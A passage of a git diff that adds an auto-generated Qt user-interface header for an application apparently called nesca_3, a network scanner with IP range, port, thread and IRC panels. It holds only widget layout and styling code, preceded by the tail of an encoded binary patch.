z5^+5iwN_~TKJtbVJv}He<c%jR!;4&=0o9@9Lb1`Ub(wk(qK=peME75yz0ffxi=Np6 zOFwnO6f4|VN;!0Y<b6_raiPt{kx8w>adjpLeze1VF5FUArdQGSv`b;-Ada7#V`<Mg z20_zsun0H7ne<AgBZGIwRSG}Wd9v^#`XLR@@P7EPjOZ$c<YfF#d8fW+5#E`9hlQs4 zA&qIqnSTv{opG>a^L=Ug!Suz>KYkGG%)iTkaX02ne~~a$$_q6^;iVhv)U(E)zauRn z?-SoY{Ky&#FYySlZ231^#DCr$X+83+NJd;OTv^oZxB;D;(gL4lKNbRKwO`3%|47J6 zebRn5kK^~@$fRx&zugvPc!*@#VHmy#hr}|(Xrl<9i81e#eN14E<kMymezQY?v|qvx zgUMEYDn$C%2|>PpT=rymnSO3NoMnfD_(a6dvm=9?_Osh*JBwG~Ss>FZ!js!~ZhxHd zbD7E(fBwDj08MZxcgCNV8h&Ou4}J9a;XWLnL#YsQXU$2LA2Cb~=UYyO9`5^?7U1Ab ziMFu=boIvcHH-`6v(rvqXk!!JrL%G2#PIS2xrepNgn?G}csUeLb~xz(0DdGRsa`Nx z1dn)6q$@LD`LRtla>M>?<i>zA8@VxD%|`BFy+~Th{+M5u0C;FI46OiEkaHqlS*{iV zceb${80%uQ;yi}QCcgvt8OS+B#4Ou^eJ7DWBIH{g@>n}dqq7t@d_p8^ywq!kw78K9 z=~|gLluVMgbb&vhHMK09Q{SR#3p9V(`MnJ>Lyz|*+l*AA&kPwU89)nL2~!Kj^i)b~ z49x9E;1+**uchIsiY=+xgPCDyoW~@LR%FUzIMo-j{&NHTY=AU8)wfK$K+~260=*Yt zcs0y)w$+i)7S;C|DUHT4x{8MkZ7zM<s7xBMaNfN3xr?+#^>bS0YKSjT*4q&`jYu?w z5x%sj5o5e)>qXt|J`Mkrb(r_*$q4v+@f7M)l`ahgPntC3gceREv~E2f#wb<OLIb*{ zV>lb-zEZZ8T%@>m-6hH!reJK6c(riLv7y9|VS<@yvO`|#neM=)9v&w#IrY?~VY}r# z2fWnZE^sL?^)GecQoruNrJjVqxsN*=hs1f@$>hYH`6Kl^^GE7&=8v>fw&$!rGhIAh zW#V*=$07B|_JMH@BXJcx6XSeHyoNy#%knh8#2I5kbCR{SWnA{%EXVyi6YJ*wRZ@{) dWV{m3ypNf!{3Q-~MYxj=T()nkGw{q_;U6h8m*fBd literal 0 HcmV?d00001 diff --git a/ui_nesca_3.h~ b/ui_nesca_3.h~ new file mode 100644 index 0000000..796e908 --- /dev/null +++ b/ui_nesca_3.h~ @@ -0,0 +1,1596 @@ +/******************************************************************************** +** Form generated from reading UI file 'nesca_3.ui' +** +** Created by: Qt User Interface Compiler version 5.3.2 +** +** WARNING! All changes made in this file will be lost when recompiling UI file! +********************************************************************************/ + +#ifndef UI_NESCA_3_H +#define UI_NESCA_3_H + +#include <QtCore/QLocale> +#include <QtCore/QVariant> +#include <QtWidgets/QAction> +#include <QtWidgets/QApplication> +#include <QtWidgets/QButtonGroup> +#include <QtWidgets/QCheckBox> +#include <QtWidgets/QFrame> +#include <QtWidgets/QGraphicsView> +#include <QtWidgets/QHeaderView> +#include <QtWidgets/QLabel> +#include <QtWidgets/QLineEdit> +#include <QtWidgets/QListWidget> +#include <QtWidgets/QMainWindow> +#include <QtWidgets/QPushButton> +#include <QtWidgets/QTabWidget> +#include <QtWidgets/QTableWidget> +#include <QtWidgets/QTextBrowser> +#include <QtWidgets/QWidget> + +QT_BEGIN_NAMESPACE + +class Ui_nesca_3Class +{ +public: + QWidget *centralWidget; + QWidget *widget; + QTabWidget *tabMainWidget; + QWidget *tab_4; + QPushButton *startScanButton_3; + QLineEdit *ipLine; + QLineEdit *portLine; + QLineEdit *threadLine; + QLabel *labelIPRange; + QLabel *labelIPPorts; + QLabel *labelIPThreads; + QLabel *labelIPTO; + QLineEdit *iptoLine_value; + QPushButton *restoreDefaultPorts1; + QWidget *tab_5; + QLineEdit *lineEditStartIPDNS; + QPushButton *startScanButton_4; + QLineEdit *lineILVL; + QLineEdit *lineEditPort; + QLineEdit *lineEditThread; + QLabel *labelDNSRange; + QLabel *labelDNSPorts; + QLabel *labelDNSThreads; + QLabel *labelIPTO_2; + QLineEdit *iptoLine_value_2; + QPushButton *restoreDefaultPorts2; + QWidget *tab_6; + QPushButton *importButton; + QLabel *labelIpRange_9; + QLineEdit *importThreads; + QLineEdit *importPorts; + QLabel *labelDNSThreads_2; + QLabel *labelDNSPorts_2; + QLabel *labelIPTO_3; + QLineEdit *iptoLine_value_3; + QPushButton *restoreDefaultPorts3; + QGraphicsView *pbgv; + QWidget *tab; + QCheckBox *trackerOnOff; + QLineEdit *lineTrackerScr; + QLineEdit *lineTrackerSrv; + QLineEdit *linePersKey; + QLineEdit *trcSrvPortLine; + QPushButton *checkKeyBut; + QCheckBox *pingingOnOff; + QLineEdit *PingTO; + QLabel *label; + QLineEdit *threadDelayBox; + QLabel *label_2; + QLabel *MaxBrutingThrLabel; + QLineEdit *maxBrutingThrBox; + QCheckBox *shuffle_onoff; + QLineEdit *systemProxyIP; + QLineEdit *systemProxyPort; + QLabel *labelNesca_3; + QFrame *line; + QPushButton *exitButton; + QLabel *labelIpRange; + QLabel *labelThreads; + QLabel *labelBaThreads; + QLabel *labelIpRange_Value; + QLabel *labelThreads_Value; + QLabel *labelBAThreads_Value; + QLabel *labelIPS; + QLabel *labelIPS_Value; + QTextBrowser *dataText; + QLabel *labelParsed; + QLabel *labelParsed_Value; + QLabel *labelStatus; + QLabel *labelStatus_Value; + QLabel *labelTargetsLeft; + QLabel *labelTargetsLeft_Value; + QFrame *line_2; + QGraphicsView *graphicLog; + QLabel *RedLabel; + QLabel *YellowLabel; + QLabel *GreenLabel; + QLabel *BlueLabel; + QLabel *CyanLabel; + QLabel *PinkLabel; + QLabel *labelAnomaly; + QLabel *labelBA; + QLabel *labelFiltered; + QLabel *labelBads; + QLabel *labelOverloads; + QLabel *labelLowloads; + QPushButton *logoLabel; + QLabel *WhiteLabel; + QLabel *labelAlives; + QGraphicsView *graphicLog_2; + QPushButton *me2ScanBut; + QPushButton *QoSScanBut; + QGraphicsView *graphicDelim; + QGraphicsView *graphicLog_Upper; + QLabel *labelBadAddr; + QLabel *labelOffline_Value; + QTextBrowser *BAText; + QPushButton *switcherBut; + QLabel *labelTracker; + QGraphicsView *graphicActivityGrid; + QGraphicsView *graphicActivity; + QGraphicsView *graphicTextPlacer; + QPushButton *VoiceScanBut; + QGraphicsView *graphicsVoice; + QPushButton *clearLogBut; + QPushButton *secretMessageBut_1; + QPushButton *secretMessageBut_2; + QPushButton *secretMessageBut_3; + QPushButton *secretMessageBut_4; + QPushButton *secretMessageBut_5; + QPushButton *secretMessageBut_6; + QPushButton *secretMessageBut_7; + QPushButton *secretMessageBut_8; + QLabel *newMessageLabel; + QPushButton *PieStatBut; + QPushButton *trayButton; + QLabel *DredLabel; + QLabel *labelSSH; + QLabel *rVerLabel; + QLabel *NSTrackStatusLabel; + QWidget *widgetIRC; + QLineEdit *ircServerBox; + QLineEdit *shoutBox; + QLineEdit *serverPortBox; + QLineEdit *ircNickBox; + QPushButton *IRCConnectBut; + QTextBrowser *ircText; + QLineEdit *ircProxy; + QLineEdit *ircProxyPort; + QPushButton *IRCCheckProxyBut; + QTextBrowser *ircRaw; + QPushButton *nickShowBut; + QListWidget *nickList; + QLineEdit *topicLine; + QPushButton *IRCUTFMode; + QPushButton *IRCCP1251Mode; + QLabel *labelIPRange_2; + QLabel *labelIPRange_3; + QLabel *labelIPRange_4; + QLabel *labelIPRange_5; + QWidget *widgetJOB; + QGraphicsView *jobRangeVisual; + QTableWidget *jobIPContractsTable; + QTableWidget *jobIPWantedTable; + QPushButton *DataflowModeBut; + QPushButton *IRCModeBut; + QPushButton *JobModeBut; + QPushButton *IRCModeChangerBut; + + void setupUi(QMainWindow *nesca_3Class) + { + if (nesca_3Class->objectName().isEmpty()) + nesca_3Class->setObjectName(QStringLiteral("nesca_3Class")); + nesca_3Class->resize(500, 800); + nesca_3Class->setMinimumSize(QSize(500, 400)); + nesca_3Class->setMaximumSize(QSize(500, 800)); + nesca_3Class->setMouseTracking(true); + nesca_3Class->setAcceptDrops(true); + QIcon icon; + icon.addFile(QStringLiteral(":/nesca_3/Z:/nesca.ico"), QSize(), QIcon::Normal, QIcon::Off); + nesca_3Class->setWindowIcon(icon); + nesca_3Class->setWindowOpacity(1); +#ifndef QT_NO_TOOLTIP + nesca_3Class->setToolTip(QStringLiteral("")); +#endif // QT_NO_TOOLTIP + nesca_3Class->setStyleSheet(QStringLiteral("background-color: rgba(49, 49, 49,0);")); + nesca_3Class->setWindowFilePath(QStringLiteral("")); + centralWidget = new QWidget(nesca_3Class); + centralWidget->setObjectName(QStringLiteral("centralWidget")); + widget = new QWidget(centralWidget); + widget->setObjectName(QStringLiteral("widget")); + widget->setGeometry(QRect(0, 0, 500, 800)); + widget->setFocusPolicy(Qt::NoFocus); + widget->setStyleSheet(QStringLiteral("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));")); + tabMainWidget = new QTabWidget(widget); + tabMainWidget->setObjectName(QStringLiteral("tabMainWidget")); + tabMainWidget->setEnabled(true); + tabMainWidget->setGeometry(QRect(10, 50, 481, 161)); + QFont font; + font.setFamily(QStringLiteral("Eurostile")); + font.setPointSize(10); + tabMainWidget->setFont(font); + tabMainWidget->setStyleSheet(QStringLiteral("border: 0.4px solid #818181;background-color: rgba(2, 2, 2, 0);")); + tabMainWidget->setTabPosition(QTabWidget::North); + tabMainWidget->setTabShape(QTabWidget::Rounded); + tabMainWidget->setElideMode(Qt::ElideMiddle); + tabMainWidget->setUsesScrollButtons(false); + tabMainWidget->setDocumentMode(true); + tabMainWidget->setTabsClosable(false); + tabMainWidget->setMovable(false); + tab_4 = new QWidget(); + tab_4->setObjectName(QStringLiteral("tab_4")); + startScanButton_3 = new QPushButton(tab_4); + startScanButton_3->setObjectName(QStringLiteral("startScanButton_3")); + startScanButton_3->setGeometry(QRect(190, 110, 75, 23)); + QFont font1; + font1.setFamily(QStringLiteral("Eurostile")); + startScanButton_3->setFont(font1); + startScanButton_3->setStyleSheet(QStringLiteral("")); + ipLine = new QLineEdit(tab_4); + ipLine->setObjectName(QStringLiteral("ipLine")); + ipLine->setGeometry(QRect(110, 20, 221, 20)); + QFont font2; + font2.setFamily(QStringLiteral("Eurostile")); + font2.setPointSize(9); + ipLine->setFont(font2); + ipLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + ipLine->setMaxLength(31); + ipLine->setAlignment(Qt::AlignCenter); + portLine = new QLineEdit(tab_4); + portLine->setObjectName(QStringLiteral("portLine")); + portLine->setGeometry(QRect(110, 50, 221, 20)); + QFont font3; + font3.setFamily(QStringLiteral("Eurostile")); + font3.setPointSize(8); + portLine->setFont(font3); + portLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + portLine->setMaxLength(4096); + threadLine = new QLineEdit(tab_4); + threadLine->setObjectName(QStringLiteral("threadLine")); + threadLine->setGeometry(QRect(110, 80, 51, 20)); + threadLine->setFont(font2); + threadLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + threadLine->setMaxLength(3); + threadLine->setAlignment(Qt::AlignCenter); + labelIPRange = new QLabel(tab_4); + labelIPRange->setObjectName(QStringLiteral("labelIPRange")); + labelIPRange->setGeometry(QRect(40, 20, 61, 20)); + QFont font4; + font4.setFamily(QStringLiteral("Eurostile")); + font4.setPointSize(8); + font4.setBold(false); + font4.setItalic(false); + font4.setWeight(50); + font4.setKerning(false); + labelIPRange->setFont(font4); + labelIPRange->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPPorts = new QLabel(tab_4); + labelIPPorts->setObjectName(QStringLiteral("labelIPPorts")); + labelIPPorts->setGeometry(QRect(54, 50, 34, 20)); + labelIPPorts->setFont(font4); + labelIPPorts->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPThreads = new QLabel(tab_4); + labelIPThreads->setObjectName(QStringLiteral("labelIPThreads")); + labelIPThreads->setGeometry(QRect(40, 80, 61, 20)); + labelIPThreads->setFont(font4); + labelIPThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPTO = new QLabel(tab_4); + labelIPTO->setObjectName(QStringLiteral("labelIPTO")); + labelIPTO->setGeometry(QRect(220, 80, 46, 20)); + labelIPTO->setFont(font4); + labelIPTO->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + iptoLine_value = new QLineEdit(tab_4); + iptoLine_value->setObjectName(QStringLiteral("iptoLine_value")); + iptoLine_value->setGeometry(QRect(280, 80, 51, 20)); + iptoLine_value->setFont(font2); + iptoLine_value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + iptoLine_value->setMaxLength(3); + iptoLine_value->setAlignment(Qt::AlignCenter); + restoreDefaultPorts1 = new QPushButton(tab_4); + restoreDefaultPorts1->setObjectName(QStringLiteral("restoreDefaultPorts1")); + restoreDefaultPorts1->setGeometry(QRect(337, 52, 67, 16)); + restoreDefaultPorts1->setFont(font3); + restoreDefaultPorts1->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + tabMainWidget->addTab(tab_4, QString()); + tab_5 = new QWidget(); + tab_5->setObjectName(QStringLiteral("tab_5")); + lineEditStartIPDNS = new QLineEdit(tab_5); + lineEditStartIPDNS->setObjectName(QStringLiteral("lineEditStartIPDNS")); + lineEditStartIPDNS->setGeometry(QRect(110, 20, 221, 20)); + lineEditStartIPDNS->setFont(font2); + lineEditStartIPDNS->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineEditStartIPDNS->setMaxLength(128); + lineEditStartIPDNS->setAlignment(Qt::AlignCenter); + startScanButton_4 = new QPushButton(tab_5); + startScanButton_4->setObjectName(QStringLiteral("startScanButton_4")); + startScanButton_4->setGeometry(QRect(190, 110, 75, 23)); + startScanButton_4->setFont(font1); + startScanButton_4->setStyleSheet(QStringLiteral("")); + lineILVL = new QLineEdit(tab_5); + lineILVL->setObjectName(QStringLiteral("lineILVL")); + lineILVL->setGeometry(QRect(340, 20, 71, 20)); + lineILVL->setFont(font2); + lineILVL->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineILVL->setMaxLength(128); + lineILVL->setAlignment(Qt::AlignCenter); + lineEditPort = new QLineEdit(tab_5); + lineEditPort->setObjectName(QStringLiteral("lineEditPort")); + lineEditPort->setGeometry(QRect(110, 50, 221, 20)); + lineEditPort->setFont(font3); + lineEditPort->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineEditPort->setMaxLength(4096); + lineEditThread = new QLineEdit(tab_5); + lineEditThread->setObjectName(QStringLiteral("lineEditThread")); + lineEditThread->setGeometry(QRect(110, 80, 51, 20)); + lineEditThread->setFont(font2); + lineEditThread->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineEditThread->setMaxLength(3); + lineEditThread->setAlignment(Qt::AlignCenter); + labelDNSRange = new QLabel(tab_5); + labelDNSRange->setObjectName(QStringLiteral("labelDNSRange")); + labelDNSRange->setGeometry(QRect(30, 20, 61, 20)); + labelDNSRange->setFont(font4); + labelDNSRange->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelDNSPorts = new QLabel(tab_5); + labelDNSPorts->setObjectName(QStringLiteral("labelDNSPorts")); + labelDNSPorts->setGeometry(QRect(54, 50, 34, 20)); + labelDNSPorts->setFont(font4); + labelDNSPorts->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelDNSThreads = new QLabel(tab_5); + labelDNSThreads->setObjectName(QStringLiteral("labelDNSThreads")); + labelDNSThreads->setGeometry(QRect(40, 80, 61, 20)); + labelDNSThreads->setFont(font4); + labelDNSThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPTO_2 = new QLabel(tab_5); + labelIPTO_2->setObjectName(QStringLiteral("labelIPTO_2")); + labelIPTO_2->setGeometry(QRect(220, 80, 46, 20)); + labelIPTO_2->setFont(font4); + labelIPTO_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + iptoLine_value_2 = new QLineEdit(tab_5); + iptoLine_value_2->setObjectName(QStringLiteral("iptoLine_value_2")); + iptoLine_value_2->setGeometry(QRect(280, 80, 51, 20)); + iptoLine_value_2->setFont(font2); + iptoLine_value_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + iptoLine_value_2->setMaxLength(3); + iptoLine_value_2->setAlignment(Qt::AlignCenter); + restoreDefaultPorts2 = new QPushButton(tab_5); + restoreDefaultPorts2->setObjectName(QStringLiteral("restoreDefaultPorts2")); + restoreDefaultPorts2->setGeometry(QRect(337, 52, 67, 16)); + restoreDefaultPorts2->setFont(font3); + restoreDefaultPorts2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + tabMainWidget->addTab(tab_5, QString()); + tab_6 = new QWidget(); + tab_6->setObjectName(QStringLiteral("tab_6")); + importButton = new QPushButton(tab_6); + importButton->setObjectName(QStringLiteral("importButton")); + importButton->setGeometry(QRect(190, 110, 75, 23)); + importButton->setFont(font3); + importButton->setStyleSheet(QStringLiteral("")); + labelIpRange_9 = new QLabel(tab_6); + labelIpRange_9->setObjectName(QStringLiteral("labelIpRange_9")); + labelIpRange_9->setGeometry(QRect(110, 0, 253, 37)); + labelIpRange_9->setFont(font4); + labelIpRange_9->setStyleSheet(QLatin1String("background-color: rgba(2, 2, 2, 0);\n" +"color: rgb(214, 214, 0);")); + importThreads = new QLineEdit(tab_6); + importThreads->setObjectName(QStringLiteral("importThreads")); + importThreads->setGeometry(QRect(110, 80, 51, 20)); + importThreads->setFont(font2); + importThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + importThreads->setMaxLength(3); + importThreads->setAlignment(Qt::AlignCenter); + importPorts = new QLineEdit(tab_6); + importPorts->setObjectName(QStringLiteral("importPorts")); + importPorts->setGeometry(QRect(110, 50, 221, 20)); + importPorts->setFont(font3); + importPorts->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + labelDNSThreads_2 = new QLabel(tab_6); + labelDNSThreads_2->setObjectName(QStringLiteral("labelDNSThreads_2")); + labelDNSThreads_2->setGeometry(QRect(40, 80, 61, 20)); + labelDNSThreads_2->setFont(font4); + labelDNSThreads_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelDNSPorts_2 = new QLabel(tab_6); + labelDNSPorts_2->setObjectName(QStringLiteral("labelDNSPorts_2")); + labelDNSPorts_2->setGeometry(QRect(54, 50, 33, 20)); + labelDNSPorts_2->setFont(font4); + labelDNSPorts_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPTO_3 = new QLabel(tab_6); + labelIPTO_3->setObjectName(QStringLiteral("labelIPTO_3")); + labelIPTO_3->setGeometry(QRect(220, 80, 46, 20)); + labelIPTO_3->setFont(font4); + labelIPTO_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + iptoLine_value_3 = new QLineEdit(tab_6); + iptoLine_value_3->setObjectName(QStringLiteral("iptoLine_value_3")); + iptoLine_value_3->setGeometry(QRect(280, 80, 51, 20)); + iptoLine_value_3->setFont(font2); + iptoLine_value_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + iptoLine_value_3->setMaxLength(3); + iptoLine_value_3->setAlignment(Qt::AlignCenter); + restoreDefaultPorts3 = new QPushButton(tab_6); + restoreDefaultPorts3->setObjectName(QStringLiteral("restoreDefaultPorts3")); + restoreDefaultPorts3->setGeometry(QRect(337, 52, 67, 16)); + restoreDefaultPorts3->setFont(font3); + restoreDefaultPorts3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + pbgv = new QGraphicsView(tab_6); + pbgv->setObjectName(QStringLiteral("pbgv")); + pbgv->setGeometry(QRect(437, 20, 26, 102)); + pbgv->setStyleSheet(QLatin1String("background-color:rgb(38, 38, 38);\n" +"border: 1px solid rgb(227, 227, 227);\n" +"border-radius: 3px;")); + pbgv->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + pbgv->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + tabMainWidget->addTab(tab_6, QString()); + tab = new QWidget(); + tab->setObjectName(QStringLiteral("tab")); + trackerOnOff = new QCheckBox(tab); + trackerOnOff->setObjectName(QStringLiteral("trackerOnOff")); + trackerOnOff->setGeometry(QRect(30, 120, 281, 17)); + trackerOnOff->setFont(font1); + trackerOnOff->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + trackerOnOff->setChecked(true); + lineTrackerScr = new QLineEdit(tab); + lineTrackerScr->setObjectName(QStringLiteral("lineTrackerScr")); + lineTrackerScr->setGeometry(QRect(250, 2, 121, 16)); + lineTrackerScr->setFont(font3); + lineTrackerScr->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + lineTrackerScr->setMaxLength(256); + lineTrackerScr->setAlignment(Qt::AlignCenter); + lineTrackerSrv = new QLineEdit(tab); + lineTrackerSrv->setObjectName(QStringLiteral("lineTrackerSrv")); + lineTrackerSrv->setGeometry(QRect(30, 2, 211, 16)); + lineTrackerSrv->setFont(font3); + lineTrackerSrv->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + lineTrackerSrv->setMaxLength(256); + lineTrackerSrv->setAlignment(Qt::AlignCenter); + linePersKey = new QLineEdit(tab); + linePersKey->setObjectName(QStringLiteral("linePersKey")); + linePersKey->setGeometry(QRect(30, 22, 341, 12)); + linePersKey->setFont(font3); + linePersKey->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); border:none;")); + linePersKey->setMaxLength(32); + linePersKey->setAlignment(Qt::AlignCenter); + trcSrvPortLine = new QLineEdit(tab); + trcSrvPortLine->setObjectName(QStringLiteral("trcSrvPortLine")); + trcSrvPortLine->setGeometry(QRect(379, 2, 62, 16)); + trcSrvPortLine->setFont(font3); + trcSrvPortLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + trcSrvPortLine->setMaxLength(5); + trcSrvPortLine->setAlignment(Qt::AlignCenter); + checkKeyBut = new QPushButton(tab); + checkKeyBut->setObjectName(QStringLiteral("checkKeyBut")); + checkKeyBut->setGeometry(QRect(379, 18, 61, 16)); + checkKeyBut->setFont(font3); + checkKeyBut->setStyleSheet(QStringLiteral("")); + pingingOnOff = new QCheckBox(tab); + pingingOnOff->setObjectName(QStringLiteral("pingingOnOff")); + pingingOnOff->setGeometry(QRect(30, 84, 75, 17)); + pingingOnOff->setFont(font3); + pingingOnOff->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + pingingOnOff->setChecked(false); + PingTO = new QLineEdit(tab); + PingTO->setObjectName(QStringLiteral("PingTO")); + PingTO->setEnabled(false); + PingTO->setGeometry(QRect(108, 86, 51, 15)); + PingTO->setFont(font1); + PingTO->setStyleSheet(QStringLiteral("color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none;")); + PingTO->setMaxLength(5); + PingTO->setAlignment(Qt::AlignCenter); + label = new QLabel(tab); + label->setObjectName(QStringLiteral("label")); + label->setGeometry(QRect(163, 85, 31, 16)); + label->setFont(font1); + label->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + threadDelayBox = new QLineEdit(tab); + threadDelayBox->setObjectName(QStringLiteral("threadDelayBox")); + threadDelayBox->setEnabled(true); + threadDelayBox->setGeometry(QRect(390, 69, 51, 20)); + threadDelayBox->setFont(font1); + threadDelayBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + threadDelayBox->setMaxLength(5); + threadDelayBox->setAlignment(Qt::AlignCenter); + label_2 = new QLabel(tab); + label_2->setObjectName(QStringLiteral("label_2")); + label_2->setGeometry(QRect(320, 69, 68, 16)); + label_2->setFont(font3); + label_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + MaxBrutingThrLabel = new QLabel(tab); + MaxBrutingThrLabel->setObjectName(QStringLiteral("MaxBrutingThrLabel")); + MaxBrutingThrLabel->setGeometry(QRect(320, 84, 62, 26)); + QFont font5; + font5.setFamily(QStringLiteral("Eurostile")); + font5.setPointSize(7); + MaxBrutingThrLabel->setFont(font5); + MaxBrutingThrLabel->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + maxBrutingThrBox = new QLineEdit(tab); + maxBrutingThrBox->setObjectName(QStringLiteral("maxBrutingThrBox")); + maxBrutingThrBox->setEnabled(true); + maxBrutingThrBox->setGeometry(QRect(390, 90, 51, 20)); + maxBrutingThrBox->setFont(font1); + maxBrutingThrBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + maxBrutingThrBox->setMaxLength(3); + maxBrutingThrBox->setAlignment(Qt::AlignCenter); + shuffle_onoff = new QCheckBox(tab); + shuffle_onoff->setObjectName(QStringLiteral("shuffle_onoff")); + shuffle_onoff->setGeometry(QRect(30, 68, 161, 17)); + shuffle_onoff->setFont(font1); + shuffle_onoff->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + shuffle_onoff->setChecked(true); + systemProxyIP = new QLineEdit(tab); + systemProxyIP->setObjectName(QStringLiteral("systemProxyIP")); + systemProxyIP->setGeometry(QRect(30, 38, 341, 12)); + systemProxyIP->setFont(font3); + systemProxyIP->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); border:none;")); + systemProxyIP->setMaxLength(32); + systemProxyIP->setAlignment(Qt::AlignCenter); + systemProxyPort = new QLineEdit(tab); + systemProxyPort->setObjectName(QStringLiteral("systemProxyPort")); + systemProxyPort->setGeometry(QRect(379, 38, 62, 12)); + systemProxyPort->setFont(font3); + systemProxyPort->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + systemProxyPort->setMaxLength(5); + systemProxyPort->setAlignment(Qt::AlignCenter); + tabMainWidget->addTab(tab, QString()); + labelNesca_3 = new QLabel(widget); + labelNesca_3->setObjectName(QStringLiteral("labelNesca_3")); + labelNesca_3->setGeometry(QRect(95, 10, 306, 20)); + QFont font6; + font6.setFamily(QStringLiteral("Eurostile")); + font6.setPointSize(9); + font6.setBold(true); + font6.setUnderline(false); + font6.setWeight(75); + labelNesca_3->setFont(font6); + labelNesca_3->setMouseTracking(true); + labelNesca_3->setAcceptDrops(true); + labelNesca_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelNesca_3->setTextFormat(Qt::PlainText); + labelNesca_3->setAlignment(Qt::AlignCenter); + labelNesca_3->setOpenExternalLinks(true); + line = new QFrame(widget); + line->setObjectName(QStringLiteral("line")); + line->setWindowModality(Qt::NonModal); + line->setGeometry(QRect(10, 30, 480, 16)); + line->setAutoFillBackground(false); + line->setStyleSheet(QStringLiteral("color: white;background-color: rgba(2, 2, 2, 0);")); + line->setFrameShadow(QFrame::Plain); + line->setFrameShape(QFrame::HLine); + exitButton = new QPushButton(widget); + exitButton->setObjectName(QStringLiteral("exitButton")); + exitButton->setGeometry(QRect(470, 10, 10, 20)); + exitButton->setStyleSheet(QStringLiteral("background-color: rgba(0, 0, 0, 0);")); + labelIpRange = new QLabel(widget); + labelIpRange->setObjectName(QStringLiteral("labelIpRange")); + labelIpRange->setGeometry(QRect(20, 230, 61, 20)); + labelIpRange->setFont(font4); + labelIpRange->setLayoutDirection(Qt::LeftToRight); + labelIpRange->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelThreads = new QLabel(widget); + labelThreads->setObjectName(QStringLiteral("labelThreads")); + labelThreads->setGeometry(QRect(20, 260, 61, 20)); + QFont font7; + font7.setFamily(QStringLiteral("Eurostile")); + font7.setPointSize(8); + font7.setKerning(false); + labelThreads->setFont(font7); + labelThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelBaThreads = new QLabel(widget); + 